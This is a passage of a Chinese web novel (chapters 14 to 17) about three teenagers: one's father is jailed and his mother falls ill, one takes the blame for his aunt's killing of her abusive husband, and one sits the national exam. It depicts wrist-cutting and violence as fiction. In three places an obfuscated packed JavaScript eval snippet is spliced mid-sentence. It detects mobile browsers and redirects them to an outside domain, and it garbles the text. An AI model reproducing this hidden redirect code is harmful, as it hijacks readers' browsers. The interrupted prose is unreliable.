“你别整天给我摆着张死人脸!咒谁呢!” 他指着娄陵的鼻子大喊。 “……我自己。” 少年低着头,刘海的阴影隐匿了情绪,他嘴巴动了动,音量很轻。 “你说啥?” “咒我自己,行了吗?” 翻过手注视了一会掌心的伤口,娄陵抬起头,面色阒静,宛若一片荒原。他捡起身边的碎瓷片,将尖端对准手腕,狠狠划了下去。 鲜血瞬间涌了出来。 左手有些无力,他用右手托起,展示给面前的人看。 “……” “哦哟我的天哪!儿子,别这样……” 女人连忙要过去,却被男人挡住了。 “……就一下子,死不了。” 虽是这么说,他声音一时也小了不少,被惊得熄了火。 “你,你威胁我是吧?我告诉……” 娄陵抬手又在腕上划了一道,交错的血痕在白皙皮肤上显得触目惊心。 男人不说话了。女人见此,忙走上前把娄陵扶到沙发上。 “吓人啊,说你几句就搞成这样……我去拿药膏。” 后来,他手上的伤还没包扎好,门就被敲响了。 “谁呐?你去开个门。” 娄母正低头缠绷带,随口说了一声,倒是娄陵用余光捕捉到男人那紧皱的眉头。 男人被带走了。 那一天,市里一栋在建中的商业楼塌了。 14. 现代 “……老天,唷,这可怎么办啊……” 娄母自人走后就瘫坐在地,满脸惴惴不安,一下子失了主心骨,只能向儿子寻求安慰。 “你爸不会有大事的吧,是不是问完话就回来了,要罚钱吗?得罚多少……” 娄陵蹲下身扶住她的胳膊,被她一把抓住了手腕,眉心一跳,却没有力气挣开。 “先起来,地上凉。” 【四一,不用能量。】 【那怎么行,你现在身上都是伤,会很痛的。可恶的坏蛋!】 我痛觉不太敏感。 他想了想,还是没说,转而捏了捏小圆球的虚体。 安静了一段时间,女人似乎想通了什么,哀哀地哭了起来。 “你爸要是回不来了,我们孤儿寡母的……怎么办啊……” 她紧紧抱住娄陵,下巴搁在她肩膀上。 “妈只有你了……” 少年安静地待在她怀里,听见这句话,用右手轻柔地拍了拍她的手。 他的双眼中倒映着落地窗外的景色,四周都是同样的高楼,精美的,冰冷的,一间间玻璃做的牢笼。 一晃冰雪消融,桃李盛开,一晃樱花残败,落了满园。 彩笔在日历页的“五月”上落下一个勾,翻到下一页,画了红圈的“七日”、“八日”、“九日”映入眼里。 苏谌缓缓吐出一口气,摊开了单词本。 “一会儿去吃什么?” 潘煜趴在桌上,眼皮险些撑不不起来。 “每天就靠吃点好的续命了。” “我等下要去拿个东西,你先去吧。” “什么什么?” “唔……昨天有人在□□上找我,问我要不要买资料,我看了质量不错而且很便宜,和他约了中午去拿。” “嗯?现在是什么人在卖书啊,上一届的肯定一考完就处理了吧,别是骗子哦。” “我也有点奇怪,问了他说是买多了写不完。” “嗯……” “放心,他让我先拿书再付钱的。” …… “进度怎么样了?” “快了快了,太多东西看不懂,抄着费劲。” 贺存真直起身伸了个懒腰,转脸看向他。 “你既然有原件,为什么不直接送这个,还非得我再抄一遍。” 坐在旁边的娄陵捻起一张笔记页,打量他的字迹。 “你的字很漂亮啊,就是和本人给人的感觉不太一样。” “你什么意思?” 贺存真瞬间瞪大了眼睛,像条气鼓鼓的河豚。 娄陵笑而不语。他低眉浅笑时令人想到含苞的玉兰,优雅清丽。 能看见这种情态,出点小糗那都不是问题,贺某当即想再被取笑几句。 可惜他很快敛了笑意,回答了上一个问题:“我的字容易被看出来。” 贺存真的表情也淡了,他用手指点了点笔记本。 “……是给他的?” 他略一点头,默认了。 空气安静了一段时间,贺存真斟酌着开口:“那个,你爸他……怎么样了?” “检察院快要提起公诉了,在等结果。” 娄陵的语气有些漫不经心,轻飘飘似易散云烟,有种淡泊的轻快。 手上一暖,是另一只手覆了下来,抬眼对上贺存真担心的神态,他浅浅笑了笑。 …… “怎么样?书都拿来了?” “嗯,好多资料,都是很有用的,不过我没想到还送了笔记本。好像是那个人自己做的,我刚才在那里翻了翻,写得太好了。” “有这么好?做慈善的?到底是谁啊……” “这个倒是不知道,没见到人,书是提前放在那里的。” “不愧是你,运气真好,神人相助啊!” 潘煜竖着大拇指说完,转头琢磨起别的事了。 神人…… 写这套笔记的人肯定很厉害,而且思路……和他之前教我的时候很像,难道…… 不,别多想,字完全不一样,思路这种东西并没有那么唯一。 好像很久很久没听见他的消息了,他应该,已经彻底把我忘了吧。 六月初,判决下了。大量建材不合标准导致高楼倒塌,施工人员1人死亡,7人重伤,同时行贿获利,判了七年。 娄母当场晕厥过去,被送往了医院。 在等她醒来的途中,娄陵在走廊上接了好几个电话,是他提前找好的律师。娄康的罚款,还有他名下公司以及股份问题都需要问清楚。除了娄母以外,其他的事他早就做好了一定打算。 放下手机,他站在医院的过道向外眺望,天空灰蒙蒙的,没有沾染任何其他色彩,压得人喘不过气。 没几秒就听见有人喊,他偏过头,看见医生从走廊那头走过来,表情有些凝重,让他去办公室。 娄母检查出了乳腺癌。 “你……要不让家里大人来一趟?” “我家里没有别的人了,麻烦都和我说吧。” “唉……好吧。” …… “现在治疗成功的几率还是较高的,最好去省医院,你考虑考虑吧。” 他最后这么说。娄陵点点头,转身走了出去。 外面天色完全暗了下来,远处几盏路灯孤单地立着,不太明亮的零落白色间或绣在墨色幕布上。最近天气不太好,看不见星星,但愿它们只是被暂时隐藏起来,而不是在某个角落悄无声息地死去。 想变作一颗星星,黯淡渺小,缀在天幕最边缘,悄悄注视着自己在意的人,待到生命尽头就去往他的身边,哪怕化作了灰扑扑的石头。 可惜像我这样的人,死了也只能变作一捧烟灰。 明天就要高考了。 整理完所有东西后,苏谌放空了一会儿,从抽屉里拿出手机,点开了置顶的聊天框,最后一条消息停留在八月末。 手指在键盘上悬了很久,欲落又不敢落。 关掉手机后,他走到阳台上扒着栏杆吹风,夜风擦过脸颊,闭上眼能感受气流拂过皮肤的凉意。 他从小不算个胆大的人,循规蹈矩走在所有人都说正确的路上;也不爱交际,特别好的朋友只有潘煜。喜欢上那个人,是生命中第一次跳脱条条框框,做下不受任何影响、只忠于自己的选择。换作以前,他也不会想到自己能这么固执,竟拥有了撞南墙也不回头的勇气。 “我会在约定的地方等你。” 如果头破血流也不停下会怎么样呢,难道南墙也能被撞破吗? 让我再试一次吧,这是最后一次。 深夜,收拾好的行李堆在房屋一角,和平日别无二致的屋子不知为什么,突然显得冷落了。娄陵站在客厅中央朝四周看了看,茫然的情绪出现在他那张脸上,仿佛无暇的玉器有了裂痕,显出令人心碎的脆弱来。 从前不管怎样,至少这里名义上还是他的家,给了他一个容身之处,以后,就是真正的无处可安了。 娄父是家里次子,从小不大受宠,十来岁背井离乡,发迹后等不及回村修路修桥,想显摆一番,结果反而和村里人起了矛盾,家里人也不站在他这边,于是他愤而与家人断绝关系,再不往来。娄母家有三个儿子,信奉嫁女如泼水的传统,过年时带去点好东西还是欢迎,轮到去寻求帮助只能百般推脱了。 病是拖不得的,娄父很多财产由自己打理,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425480|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们甚至不清楚名目,没办法动。娄母治疗期间需要人陪着,这个人只能是娄陵。 他正在手机上检查买好的车票,时隔许久没听见的特殊振动音突然响起——是苏谌发来的消息。 短短几字倏然化作一根针,在他心上扎了一道,针尖很细,连个针孔也留不下,但在那一瞬间,整个心脏都收缩成了一团。 按灭屏幕,他仰起头,水晶吊灯的光铺洒下来,不算刺眼,薄泪却沁出眼眶,聚在眼角,为所见之物加上一层模糊的滤镜。 泪影中倒映着某个少年写满了倾慕与企盼的脸。 对不起,我不能赴约了。 所以……忘了吧,就当它从没存在过。 “……大家一定要仔细看题,发挥出你们最好的水平,我相信你们……三年磨一剑,静待你们得胜归来!” 最后时刻,老师再次进行了一番真切叮嘱,在座的同学们此时不免紧张,又控制不住激动,不论是踌躇满志还是打算“慷慨就义”,又一批人的三年时光踏上了最后一程。 “加油啊!你也加油,你小子小心考个状元出来,哈哈……” 潘煜和熟人们击了一圈掌,回到苏谌身边。 “来,伸手。” 轻巧的力道落在苏谌的掌心。 “你用功的样子我都看着呢,正常发挥,能行的。” 即使不了解事情的全貌,他也从细枝末节中觉察了苏谌的渴望,并一如既往支持着他。 “借你吉言。” 苏谌眼中有着动容,反手在他肩上拍了一下。 “一起加油。” “G7446次列车,马上开始检票——” “小陵,”女人拉了拉他的袖口,“是轮到我们了吗?” 人来人往的候车大厅中央,娄陵从怔愣中醒过神来,抬头看向滚动的电子大屏。 “是,轮到我们了。” 他将沉重的行李袋扛在肩上,又一手拉过一只大行李箱。 “妈,你先拉一下那个小的箱,到台阶了换我来。” “你那些会不会太重了?” “不会,没事。” 他说着露出一个安抚的浅笑。 “叮铃铃铃铃铃——” 九点整,第一门科目的考试准时开始。 那个瞬间,无数考生同时下笔,苏谌也是其中的一个,他抛去其他杂念,全身心投入眼前的试卷中。 娄陵坐在列车靠窗的座位,托腮望向外侧,在一刹那忽然心有所感,好像也听见了悠长的铃音。 苏谌,你会拥有更好的未来,会遇到真正值得你用心对待的人。 他又想起昨天贺存真发了一条短信,由于要做的事太多,暂时搁置了。 “你还记得我和你说过的老鱼吗?就是帮我接游戏代打的那个网友,他和我说我被一个电竞俱乐部看中了。我考虑了很久,觉得朝这方面发展也不错,明天就要去首都了,那边是封闭式训练,我可能很久没法和你联系,你不用担心哦。” 他们都要去往更明亮开阔的方向了,太好了。 读完所有信息,娄陵把手机卡取了出来,举在眼前注视了很久。过去的一幕幕在脑中掠过,呼啸不停,最后终结在此刻,发出悲鸣。 他垂眸笑了笑,将它丢进座位前的垃圾袋里。 再见。 既然这样,还是把我忘了吧。就让我变成你们记忆中一个不起眼的小点,一个淹入人流就再无消息的过客。 车身缓缓移动,离站台越来越远,他出生生长的地方渐渐缩成一条线,埋进了地平线以下。刺目的太阳光从那一头发散、延伸,喷薄而出的曜白。 从今天开始,接下去的每天都是好天气。 15. 现代 “小贺,你姑姑跟我说一定要找你回去,我看她脸色真的很差,不知道出什么事了。” “好,好的,谢谢刘哥,我马上回去。” 这天早上,贺存真姑姑家附近烧烤店的老板来到网吧找他,他是那边唯一知道他现在住处的人,之前贺存真就是托他发的消息。 听完他的来意,贺存真的脸色一下子凝重起来,表示感谢并和刘哥告别以后,他用新号码第一次给贺秋华发了短信,约好在小区外边的鲜奶吧见面。 顾不上收拾,和周边其他人打了声招呼便出发了。匆匆赶到店里,他一眼就看见了坐在角落的贺秋华,她穿着灰绿色的打底衫,头发梳成低马尾,皮肤发黄,神色比之从前憔悴不少,气质婉约依旧。 实在太久没见,一看到就心里发酸。 “姑姑。” 听见声音,她恍然抬头,怔怔看了他半晌,眼带泪光。她没有再提他跑出书院的事,反倒是问他一个人在外面累不累。 “没事,我一个人挺好的,能赚到钱,等我攒一攒,给你买件金首饰。” 原本满目忧愁的她,豁然绽开笑容,冲淡了几分眉梢的哀怨。 “哎,那不用,你自己攒着吧。不过你吃了苦也别瞒着不说,回家来总有一口饭吃。” “嗯,我知道。” 贺存真淡淡一笑,又有些担忧地望向她:“这么急着找我,是出什么事了吗?” “哦,哦对。是这样,你爸以前给过我一笔钱让我帮忙存着,我本来想等你成年了给你的,但是……” “我现在不缺钱,你们拿去用吧。” “那怎么行,说了保管就要还的。本来是要再等等,但是我想现在给你,不然……要被他拿走了。” 她低下头,声音越来越低。 “他?出什么事了?” 在贺存真再三追问下,她终于道出了实情。原来贺存真姑父一年多前沾上了网赌和网贷,第一次被发现时欠了三十万,向家里人保证绝不再犯,还完钱却没有抽身。前几日东窗事发,又开始哭天喊地和她要钱,却支支吾吾说不清楚欠债数额。 “他现在在家里翻箱倒柜,找我藏起来的银行卡,万一被他找到……” “他还有脸干这种事!” 贺存真拍着桌子站了起来,明媚的眉眼间多了戾气,显露出锋利的一面来。 “姑姑,我和你一起回去。” 他们回去的时候,一开门,满室狼藉,像刚经历了一场入室抢劫。男人坐在丢满杂物的地上,听见开门声猛然抬头,眼里闪烁着精光。 “秋华,你回来啦。老婆,老婆,你跟我说钱在哪里?啊?” “家里哪还有什么钱啊,颢颢、清清他们花钱的地方那么多,你想让孩子上不起学吗?你还像个做爸爸的人吗?!” 贺秋华忍不住喊出声,眼泪掉了下来。 “我保证是最后一次了,真的!这钱再不还上他们要上门的,颢颢他们就危险了!” “他们上门就算要砍手指,也是砍你的吧。” 贺存真冷冷出声,引起了他的注意。 “你个小畜生,还有脸回来,我们俩说话有你什么事!对了,秋华你之前不是说你哥有给你一笔钱吗?我记得还不少,你先拿出来帮我还上……” 他满脸期待望向她,姿态卑微得不行,却在见她摇头后瞬间变脸,青筋涨起,分外骇人。 “你个拎不清的女人,我才是你老公!我们才是一家子!!你就知道向着他,他花了我们家多少钱,啊?之前送去那个书院花了上万,他一声不吭跑掉,剩下的钱也拿不回来!你还想供他,自己老公这样了还不管……” 男人声嘶力竭的怒吼在屋顶盘旋,贺存真神色震动,将目光转向贺秋华,她只是闭目流泪。 “好好好,你非要这样是吧?那干脆都去死!都别活了!!” 丧失理智的人从身后抽出水果刀,恶狠狠地逼近兀自沉默的女人。 “姑姑!” 贺存真眼神一凛,冲上去挡在了女人身前。刀刃的挥动毫无固定轨迹,他索性不闪不避强行抓住了刀身。痛感瞬间切入了肌肤,鲜红漫出来,湿润滑腻的触感令他差点握不住。 对方一时也愣了,回过神来反倒愈发癫狂,一把抽出了刀,把刀尖对准了贺存真。 “好啊,那你先去死!都是你害了我们家!” 刀刃抽出时在原本的伤口上又划了一道,贺存真疼得几乎站不住,不禁失神。 看见这一幕的贺秋华肝胆欲裂。 “别动他!啊——” 谁都没想到她会突然爆发出力量,拎起一旁的凳子用全力掼在男人头上。男人本还狞笑着,被这一下砸得后退两步,摸不到支撑物,只能一路退到茶几边,然后被狠狠绊住,栽倒下去。 “砰!” 后脑撞在柜角上的重响。 “存真,存真你没事吧……” 贺秋华颤抖地蹲下身,捧起他手察看。 “呜,都是姑姑不好,不该让你上来的……” “我没事,姑姑,别哭。” 贺存真用没受伤的那只手碰了碰她的小臂,勉力忽略疼痛,扯出一个笑容。 “还好我上来了,要是你出事怎么办。” “我……唉,这日子是过不下去了,我早该带着孩子走的。” 她抹去了泪水,眼神坚定下来:“姑姑先陪你去医院。” “等,等一下。” 贺存真撑着身子朝男人的方向走去。他从倒下去起就没了动静。 待低下头看清楚他的情况,贺存真的瞳孔猛地收缩了一下,他不可置信地把手指放在那人鼻子底下。 “怎么了,存真?” 隐约意识到什么,贺秋华的声音也不安起来。 空气安静了一分钟。 “……存真?” 少年垂着头,发丝的阴影遮盖住他的表情,血液还在从手心往下滴,在他脚边汇成一滩暗红。 “报警吧。” “他怎么了……” “……没呼吸了。” “……” 两个人急促的呼吸在一片静谧中抽动。片刻后,女人有些滞塞的声音响起。 “是我干的,我砸了他。” “姑姑?” 贺存真抬起头,眼中血丝交织,无数念头在脑中挣扎。 “好,报警。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425481|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>女人说着笑了一声,透出些许凄凉。她上前几步,只看了一眼倒在地上的男人就转过脸,把贺存真搂进了怀里。 “不关你的事,都是姑姑害了你,你是个懂事的孩子,我一直知道。” “不是的,你怎么会害我,你……” “好了,姑姑还有话和你说,我一会把存钱的卡给你,密码告诉你。以后……也就没人能帮衬你了,你自己凡事小心点,不要太好心了,多为自己想想……” “姑姑,等……” 他刚想开口,又被她慌忙打断了。 “没关系,我和你说……” “姑姑。” 贺存真又叫了一声,清晰且坚决。 “你如果离开的话,颢颢和清清怎么办,他们就没有爸爸,又没有妈妈了。” “我……” 女人眼中积攒的苦涩终于忍不住坠落下来,她捂着脸哽咽道:“我也不知道啊……” “还有办法的。” 贺存真冷静地开口,只是细听能发觉尾音微不可察的颤抖。 “……什么?” “我还没满十八。” 话语刚落,女人的泣音断了,她有些恍然地抬起脸。 “……所以,能减刑。而且我就一个人,几年以后再出来也没什么关系……” “不行,那一辈子也毁了……不行……” “姑姑,为颢颢和清清想想吧,别让他们和我一样。” 这一句话定住了贺秋华,她的神色开始剧烈动摇。见此,贺存真的眼眶也禁不住红了,他用力提起嘴角,为自己做下最后的判决。 “我是自愿的。” 报警之前,贺存真把已成为凶器的椅子擦得很干净,在上面印上了自己的指纹。贺秋华看着他的动作,想上前又犹豫了,她的内心依然在摇摆。 家里只有创可贴,她想出去买伤药,贺存真不让,怕她心神恍惚出了事,只把创可贴胡乱贴在伤口上。 做那些事的时候,他的心情出奇得平静,平静得好像生来就知道会经历这么一遭似的。然而等到点开备注“娄陵”的号码,开始编辑信息时,那些被抛在脑后的动摇与软弱全都回来了。 我都忘了,我现在已经不是一个人了啊。 “你现在又不是一个人。” “我可能,直到最近这个月,才算有了一个家。” …… 明明我也有人想要保护,想要陪伴,想要一直在一起啊—— 眼泪滴落在伤口上,从创可贴的缝隙渗下去,疼痛的影响下,每根手指都在颤抖,总是按不对正确的拼音。 就在这样令人窒息的痛苦中,他编辑完短信,按下了发送。 这个谎言会不会太拙劣了,娄陵会相信吗?如果他多问几句,我该怎么才能圆上…… 我也不想撒谎的,我已经骗过他很多次了。 我说我不在乎伤口,说我不怕黑,不挑食…… 他每次都能识破。 拜托,这次就信我吧。 让我撒次漂亮的谎,这是最后一次了。等我们下次见面,我再也不会骗你了。 警车鸣笛声在楼下响起的时候,他还在等娄陵的回信。 16. 现代 走出考场,苏谌的心情很平静,与周围热烈讨论着的人群相比,有些格格不入。 可以说都在掌握中,字形、字音、病句、阅读、文言文一路畅通,作文的构思也很快,全做完了还能从头到尾好好检查几遍。 不过毕竟才第一门,要是后面的几科也能这样就好了。 他一边这样想着,一边走到了食堂门口,潘煜和他约好了一起吃午饭。 等的人还没来,他安安静静站在大门一侧,刚打算在脑中回忆一下知识点,过路人的话语钻入耳中。 “什么?真的假的?这是高考喂,高考没来?!” “真的,他们班主任,还有教导主任都急疯了。” “别说了,我觉得校长都得急死,我们今年红榜不就靠那几个嘛……” “你们,说的是谁?” 突如其来插入的声音令两个人都愣住了,其中一个摸着头看向苏谌。 “呃,那个啊,第一的那个……” “娄陵。” 另一人利落地接上。 “啊对对,就他。他今天上午没来考试,他……” “哎,别说了。” 同伴用肩撞了撞他,轻轻提醒了一句。 “同学,我们先走了啊。” 苏谌呆愣在原地,两人越过他以后,低低的交谈声还在继续。 “那人怎么了?” “不知道,别管。” 四周的声音全像经过处理一样断断续续,老旧电视机闪烁着雪花点的狭窄屏幕包裹着他的眼球,那么多人来来去去,面容全是模糊的,和游戏里的npc一样。他开始分不清自己身在何处。 刺啦——刺啦—— 世界打开了一道裂缝。 潘煜从远处望见食堂门口熟悉的身影,他好像是在发呆。 这小子,不会没考好吧? “小谌,我来了,进去吧。” 他刚打算拍拍苏谌的肩,面前人忽然抬起头,一脸恍惚地朝另一边迈步。 “你,你去哪啊?” “……去找他。” 三个字快得含糊,没管是否说清楚,他就再一次挪步。 “什么?谁?你给我说清楚!” 潘煜拽住他的手臂喊到。他敏锐察觉到有什么糟糕的事发生了,不管的话一定会造成很严重的后果。 “娄陵,”苏谌转头的时候眼眶红了,“他早上没来考试!” 第一次看见他这样失态,潘煜不禁睁大了眼睛,一时失去了言语。但看他说完那句话马上又打算离开,他连忙伸手拦住了。 “你等下!你打算去哪找?” “去……他家。” “要是找不到呢?” “找不到,就……” “就到处乱转?午休这么短,你要是回不来怎么办?你要放弃剩下的考试吗?!” “我……” “这事有老师他们会想办法,你别掺和了。” 看苏谌貌似想开口,他立马再次堵上。 “先别说话!你用功了这么久,难道就这么算了吗?” “可是,那他怎么办啊……” 泪水从眼眶淌下,在脸颊上划下一道痕迹。哀切与无措从他的黑眸中溢出来。他抓住潘煜的胳膊,迫切寻求一个答案。 “他怎么办呢……” “万一别人弄错了呢,他可能没什么事,你别想太多。” 说这话的潘煜底气有些不足,他只知道绝对要劝住苏谌,不能让他一时冲动。 “那我替你去行了吧!我帮你去找,去问,行不行?” 大不了我再复读一年。他在心里说。 少年被他的话镇住了,他张了张口,又咬住嘴唇,迷茫、惊讶、无措交替在脸上出现。 “……不用了。” 涌动的浪潮退却,遗留下一片令人悲伤的空旷平静。他揩去眼泪,嗓音几乎没有起伏。 “我刚才太激动了,不好意思。没事了。” “你……” “我不吃饭了,想回去休息一下。不用担心,我下午会好好考试的。” 少年轻轻掰开他的手,转身离开了。他看起来和平时没什么不同,好像刚才激烈的失态只是幻觉——如果背影不流露出那么深刻的孤独的话。 潘煜望着他,恍惚间看见一个人头也不回地走进无边无际的雪原,从此把自己丢弃在那里。 后面的时间过得很快,只需要凭借身体本能,不停动笔就好了。 渐渐地,他有些不清楚,自己在做什么了。 为了谁呢? 根本就没有什么诅咒,全是真的。不过是我不肯接受现实,反复自我欺骗罢了。 比头破血流也撞不破南墙更让人绝望的是,只差一丝就看见希望的时候,发现一切全是假的。 穿过虚拟的墙,站在那一头回望,什么也没留下。 我认输了。 考试全部结束,他把桌肚里一摞一摞的书和笔记本往外抱,堆了一地。 都可以扔了啊。 所有东西都被放进麻袋,摆到门口,明天就会有收废纸的人来拿走了。 沉默着收拾好座位,他把凳子提起来反搭在桌上,桌角的纸片被刮了一下,轻飘飘落在地面上。 苏谌俯身捡起来,没再看一眼,只用拇指和食指将它一折。他拎上包甩在肩上,往教室后门走去。路过垃圾桶的时候,有东西掉了下去。 黑乎乎的桶底,躺着一小片折起的纸页。像是遗落在深海里一片破碎白帆。 半个月以后,成绩出来了。 苏谌的总分比目标分差了二十,没能达到那所学校的分数线。 他最后填报了省内最知名的大学,并且在七月收到了录取通知书。 这年夏天,还是一如既往的热。 听说隔壁区出了命案,一个没成年的男生杀害了他的姑父。他父母都死了,全靠姑姑一家接济,最后做出了这种事。 谈起这事的人语气鄙夷。 “纯纯白眼狼啊!所以说,别瞎好心,甭管那什么亲戚,总归不是自家人,一不小心就害了全家!” 未知全貌,怎么就能肯定全是他的错呢? 苏谌这么想到,没等全听完就走了。他手上拿着刚从小店里买的冰棒,最普通的冰糖的,从包装纸里渗出的水凉得和山涧流出的泉一样。 楼上楼下的邻居听说他的消息,陆陆续续上门来。 “苏谌他妈妈,你们是怎么教得这么好的啊?让我们取取经呗!” “其实我们没怎么教呀……都是靠他自己的,他很自觉很用心,我们不多管的。” “哎呀,别瞒着啊……哟,小苏回来啦。” 他刚从楼梯转角露头,靠在门边唠嗑的人就发现了,眼睛亮得和看见老鼠的猫似的。 “你妈有秘诀不告诉我们呢,来,小苏你给我们说说,你怎么考这么好的?” “我其实也不算特别好……” “啊呀呀,别谦虚了,你都上那什么985了。” 中年妇女笑着摆手,苏谌见此垂眼做出思考的样子。 “嗯……其实就是课上认真听,课下搜集好错题,有不懂的及时问。文科需要多拿些时间记背,理科多做题,同类错题要融会贯通……小奇他很聪明的,多下点功夫就好,我这边还有些资料可以给他。” “不愧是考得高的人,说起来一套一套的。我家那个啊,就爱玩,让他读书跟要命一样!是该多跟你学学……” “他有问题随时来找我吧。付阿姨,我和我妈还有点事要商量。” “哎好,那我先走了啊。林姐,我先走啦。” “好,好的。” 拉上门, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425482|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏谌对上母亲又是欣慰又是不解的眼神。 “小谌,有什么事要和妈妈说?” “没什么。” 只是打发那人的借口罢了。 “我有点累了,先去睡了。” “哎,小谌……” “怎么了?” 他停住脚步,转头看她,她站在那里,有些局促地动了动嘴唇。 “你姨妈他们说要给你摆个酒庆祝一下,你觉得怎么样?” “你们做主就好。” 回应的语气温柔,他的表情也无可指摘,平静中含着宽容,却让苏母不由感到陌生。 说完这句话,苏谌再次朝房间走去。 苏母不禁陷入沉思。 这孩子,是不是太成熟了点,心事重重的。 他以前也不太爱说话,总喜欢一个人待着,不过学习一直都很好,从不让人操心。近半年来就更不与家里人交流了,本来以为是学习太累,现在都考完了,怎么还这样呢…… 大概是真的长大了吧。 离开家去大学之前,苏谌一个人去了以前常去的、学校对面那条街上的冷饮店。 暑假期间,店里相比平时冷清一些。 他去前台点单,守在那里的正是店主,一个年轻利落的姑娘,发现有人来了立即抬头露出灿烂的笑容。 “欢迎光临……是你啊,挺久没见了吧。” “嗯,有段时间没来了。” “那个呢?以前总和你一起来的男孩子。” “他……没来。” “哈哈,你别误会,我就随便问问,你们之前不是都一起的嘛。要吃点什么?” 苏谌的目光在菜单上缓缓移动。 “要不要试试新款?这是榛子巧克力的,还有这个提拉米苏的,这是朗姆酒的……” 他沉吟了片刻,抬头道:“还是要薄荷巧克力的吧。” “好嘞,稍等。” 冰淇淋做好后,他端详了一会儿,问她:“好像和以前的有点不太一样了?” “哦对,做了一点小改变,做这行就是要经常创新嘛,不然客人总吃那几款会腻的。” 是吗…… 他没再说什么,点点头,离开了点单台。 苏谌端着冰淇淋在靠窗的位置坐下,外面的街景一如既往,边上榕树的树冠似乎更密了。 舀一勺冰淇淋放入嘴中,它很快在舌尖上化开,轻薄的薄荷味,好像加多了水,巧克力太甜,融化后和稀薄的薄荷味糖水掺杂在一起。 以前的味道是这样的吗? 不知道是记忆出现了误差还是改进后的结果,和印象中的清凉甘醇毫无相似之处。 他面无表情,维持着机械的动作一口一口吃完了。 打算走之前,他来到角落的留言板前,依然是一片花花绿绿,比以前叠得更厚更满了。花了点时间,遵循记忆拨开许多张各色新签纸,他终于找到了左下角那张橙色便签,掀开一角—— 下面是空的。 有点在意料之中。是被别人碰掉了,还是时间久了粘不住了呢?当时为了避免这种可能才藏在那里的。 倒也不是很难过,仅仅是有一点空落落的。 算了,反正也不会实现了。 推开玻璃门,热浪瞬间扑了上来,包裹住他。 一切好像和去年暑假没什么不一样。蝉鸣声有点吵,自行车、电瓶车、小汽车时不时从路中掠过,发动机的轰鸣声、喇叭声都融化进了浪潮里,被搅动成一圈一圈的波纹。 他在等那辆大货车过去,恍惚下一秒就能在竖立的告示牌下看见那个人的身影。 车开走了,那里空空如也。 他用手遮住前额,仰起头,眯眼望向天际的太阳。 又一年的夏天要过去了。 陆陆续续持续了一整年的生长痛结束了。 17. 现代 炎炎夏日,灼热的日光无差别照射着路上的行人,街边的小商店时不时有人进进出出,出来时手上多半拿着冒凉气的矿泉水或雪糕。 收银台后,穿着工作服的小妹忍不住伸了个懒腰,怀着一点莫名的心思看向旁边的人。 “娄哥,快到换班的时候了吧?” “嗯。” 响起的嗓音冷冷的,含着点哑意,给人一种不远不近的距离感,仿佛自带引力,一个字就钩得人心痒痒。 起码那女孩子就红了一点脸。 男人也穿着商店统一发的工作服,一件主体灰色的polo衫,谁穿上都得老成七八岁,套在他身上却像是什么低调的设计师款,从面料到剪裁看起来都上了不止一个档次。他身形标致,长相也突出,要不是每天总低着头,这家店的客流量少说得多上十倍。 “早班也是你值的吧,吃饭了吗?” 这倒是有些没话找话,现在已经快下午四点了。可她实在想搭上话,一出口就是这个蠢问题。 果然,男人轻轻应了一声,气氛再次陷入沉默。 玻璃门再一次被推开了。 这次走进来的是个中年男人,有点秃顶。 “来包烟。” “要什么牌子的?” 她连忙接话,来掩饰自己搭讪不利的尴尬。 “芙蓉王吧。” “哦好……” 话音刚落,原本低头站在边上的人已经拿完烟转身了,抓着包装盒的是一只好看得令人晃神的手,白皙剔透,骨节分明。 “二十五。” 男人接过烟,付了钱,没有出去,而是在店里坐了下来。 “咔。” 打火机点火的声音。 杨思思瞬间垮下了脸。按理说店里是不可以抽烟的,而且她及其讨厌烟味,可那大叔长相颇凶。她开始犹豫不决。 “店里禁烟,麻烦出去抽。” 桌板被叩响,发出了清脆的两声。男子挡在她身前的背影高挑瘦削,却足以使人安心。 她的春心荡漾了一瞬,又很快升起担心,万一那秃头男不好惹,气急打人,娄陵撑得住吗?他怎么看也不是壮汉类型的。实在不行,我和他一起…… 胡思乱想并没有发生,中年男人灰溜溜走了出去。她松了一口气的同时,又有那么点微妙的遗憾。 只有男的本人知道是怎么回事。 原本他见那小白脸开口确实不爽,想着怎么都得理论几句,可一抬头对上他的目光,不知怎么地心里就发怵。他俯视的眼神不像在看一个人,倒像是看一块石头、一只虫子。 切,拽什么。 他腹诽了一句,揣上烟和打火机默默离开了。 男人走后不久,换班的人就来了,也是个姑娘,杨思思和她已经很熟了。 “嗨,思思。” 穿着长裙的女孩子笑容满面地走了进来,和她打过招呼,又放柔了声音,对男子道:“娄大哥,我来啦,你可以下班了。” 